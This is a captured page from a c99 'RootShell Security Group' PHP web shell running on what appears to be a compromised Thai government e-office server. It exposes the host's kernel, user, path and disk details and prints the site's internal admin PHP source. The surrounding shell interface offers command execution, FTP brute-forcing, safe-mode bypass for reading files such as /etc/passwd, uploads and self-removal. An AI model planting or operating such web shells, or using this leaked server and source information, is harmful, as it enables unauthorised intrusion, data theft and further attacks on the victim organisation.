!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/eoffice_b/eoffice/admin/   drwxr-xr-x
Free 50.96 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     docLineConfigforDept.php (7.19 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsDocLinePosition.php";
include_once 
"../class/clsDocLineConfig.php";


$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPS = new person($oC);
$oDlc = new DocLineConfig($oC);
$oDlp = new docLinePosition($oC);
$oDlp2 = new docLinePosition($oC);
if(
$DLCID && $one_position!="1"){ include_once "selectposition.php";
    
$oDlc->SearchByKey($DLCID); $oDlc->GetRecord(); 
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="addConfig" name="addConfig" src="" style="width:0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>">กำหนดหน้าที่งานสารบรรณ</font></legend>
           <form name="ff"  METHOD="POST" action="searchPsTable.php" target="addConfig">
      <table border="0" align="center" width="100%"><tr><td align="center">
            <table width="87%" height="21" border="0" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
            <tr><td width="13%" align="left"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_2"];?>"><strong>หน่วยงาน :: </strong>
       </font></td>
                  <td width="87%" align="left">
                    <? $oDP->SearchByKey($oDlc->deptId);
                           
$oDP->GetRecord();
                           
$deptId=$oDlc->deptId;
                           echo 
$oDP->deptName;
                    
?>
                    <input type="hidden" name="deptId" value="<? echo $deptId?>">
                    </td>
                </tr> 
        </table><br>
            <? if($deptId!="" && $deptId!="0"){ ?>
            <table width="100%" height="22" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#DADADA" style="border-collapse:collapse">
                <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TD_15'];?>"> 
                  <td width="4%" align="center"><strong>ลำดับ</strong></td>
                  <td width="24%" align="center"><strong>ตำแหน่ง</strong></td>
                  <td colspan="2" align="center" ><strong>บุคลากร</strong><strong></strong></td>
                  <td width="8%" align="center"><strong>เสนอเซ็น</strong></td>
                  <td width="5%" align="center"><strong>ลงนาม</strong></td>
                  <td width="5%" align="center"><strong>ส่งผ่าน</strong></td>
                  <td width="4%" align="center"><strong>ส่ง</strong></td>
                  <td width="10%" align="center"><strong>ดูเส้นทาง<br>
                   เดินหนังสือ</strong></td>
                   <td width="6%" align="center"><strong>active</strong></td>
                </tr>
                <? $oDlc->SearchByDeptMaxDocGroup($deptId,$oDP->SearchMaxDocGroup());
                    
$i=0;
                   while(
$oDlc->GetRecord()){?>
                <tr> 
                  <td align="center"><? echo $oDlc->DlcSeq?></td>
                  <td align="left" >
                  <? $oDlp2->SearchByKey($oDlc->DlpID);  $oDlp2->GetRecord(); 
                        echo 
"&nbsp;&nbsp;".$oDlp2->DlpName;  ?> <input type="hidden" name="DlpID[<? echo $i?>]" value="<? echo $oDlc->DlpID?>">
                    </td>
                      <? $oPS->SearchByKey($oDlc->personId);  $oPS->GetRecord();?>
                  <td width="24%" align="left"><? echo "&nbsp;&nbsp;".GetPrefix($oPS->prefixId).$oPS->fName."&nbsp;".$oPS->lName?></td>
                  <td align="center" width="2%"><img src="../picture/search2.jpg" alt="ค้นหา"  border="0" style="cursor:pointer;" onClick = "searchps('<? echo $oDlc->DlcID;?>','<? echo $oDlc->deptId;?>')"></td>
                  <td align="center"><input type="checkbox" name="DlcPropose[<? echo $i?>]" value="Y" <? if($oDlc->DlcPropose=="Y"){ echo "checked"; }?> onClick="return showdept();" disabled></td>
                  <td align="center"><input type="checkbox" name="DlcSign[<? echo $i?>]" value="Y" <? if($oDlc->DlcSign=="Y"){ echo "checked"; }?> onClick="return showdept();" disabled></td>
                  <td align="center"><input type="checkbox" name="DlcByPass[<? echo $i?>]" value="Y" <? if($oDlc->DlcByPass=="Y"){ echo "checked"; }?> onClick="return showdept();" disabled></td>
                  <td align="center"><input type="checkbox" name="DlcSend[<? echo $i?>]" value="Y" <? if($oDlc->DlcSend=="Y"){ echo "checked"; }?> onClick="return showdept();" disabled></td>
                  <td align="center"><input type="checkbox" name="DlcView[<? echo $i?>]" value="Y" <? if($oDlc->DlcView=="Y"){ echo "checked"; }?> onClick="return showdept();" disabled></td>
                  <td align="center"><input type="checkbox" name="DlcActive[<? echo $i?>]" value="Y" <? if($oDlc->DlcActive=="Y"){ echo "checked"; }?> onClick="return showdept();"></td>
                </tr>
                <input type="hidden" name="DlcPropose[<? echo $i?>]" value="<? echo $oDlc->DlcPropose?>">
                <input type="hidden" name="DlcSign[<? echo $i?>]" value="<? echo $oDlc->DlcSign?>">
                <input type="hidden" name="DlcByPass[<? echo $i?>]" value="<? echo $oDlc->DlcByPass?>">
                <input type="hidden" name="DlcSend[<? echo $i?>]" value="<? echo $oDlc->DlcSend?>">
                <input type="hidden" name="DlcView[<? echo $i?>]" value="<? echo $oDlc->DlcView?>">
                <input type="hidden" name="DlcSeq[<? echo $i?>]" value="<? echo $oDlc->DlcSeq?>">
                <input type="hidden" name="DlcID[<? echo $i?>]" value="<? echo $oDlc->DlcID?>">
                <input type="hidden" name="personId[<? echo $i?>]" value="<? echo $oDlc->personId?>">
                <input type="hidden" name="DlcSeq[<? echo $i?>]" value="<? echo $oDlc->DlcSeq?>">
                 <? $i++;  }  ?>
              </table>
              <table width="100%" height="22" border="0" align="center" cellpadding="0" cellspacing="0" >
              <tr><td colspan="9">&nbsp;</td></tr>
              <tr><td align="right" colspan="9">
              </td></tr>
              </table>
               <input type="hidden" name="fconfirm" >
               <input type="hidden" name="fdelete" >
               <input type="hidden" name="method" value="pp2">
               <input type="hidden" name="countline" value="<? echo $i?>">        
              <? }    //if $deptId!="" && $deptId!="0" ?>
      </td></tr>
      </table>
    </form><br>
</fieldset>
 <br>
      <br>
<br><br> <br><br>
</td>
</tr>
</table>
</body>
</html>
<? }else{ include_once "unselectposition.php"; } ?>
<script language="javascript">
function showdept(){
    document.ff.submit();
}
function showdept2(){
    document.ff.showdeptId.value="1";
    document.ff.submit();
}
 function searchps(p,q){ 
             FileName = "searchPsTable.php?DlcID="+p+"&deptId="+q+"&fordept=1";
            var w=360;  
            var h=300;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
function searchps2(p,q,s,t){ 
             FileName = "searchPsTable.php?DlcID="+p+"&deptId="+q+"&DlcSeq="+s+"&addnew=1&docGroup="+t;
            var w=360;  
            var h=300;
            strOption = "scrollbars=yes,left=400,top=100,width=" + w + ",height=" + h;
            window.open(FileName,"",strOption);
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0119 ]--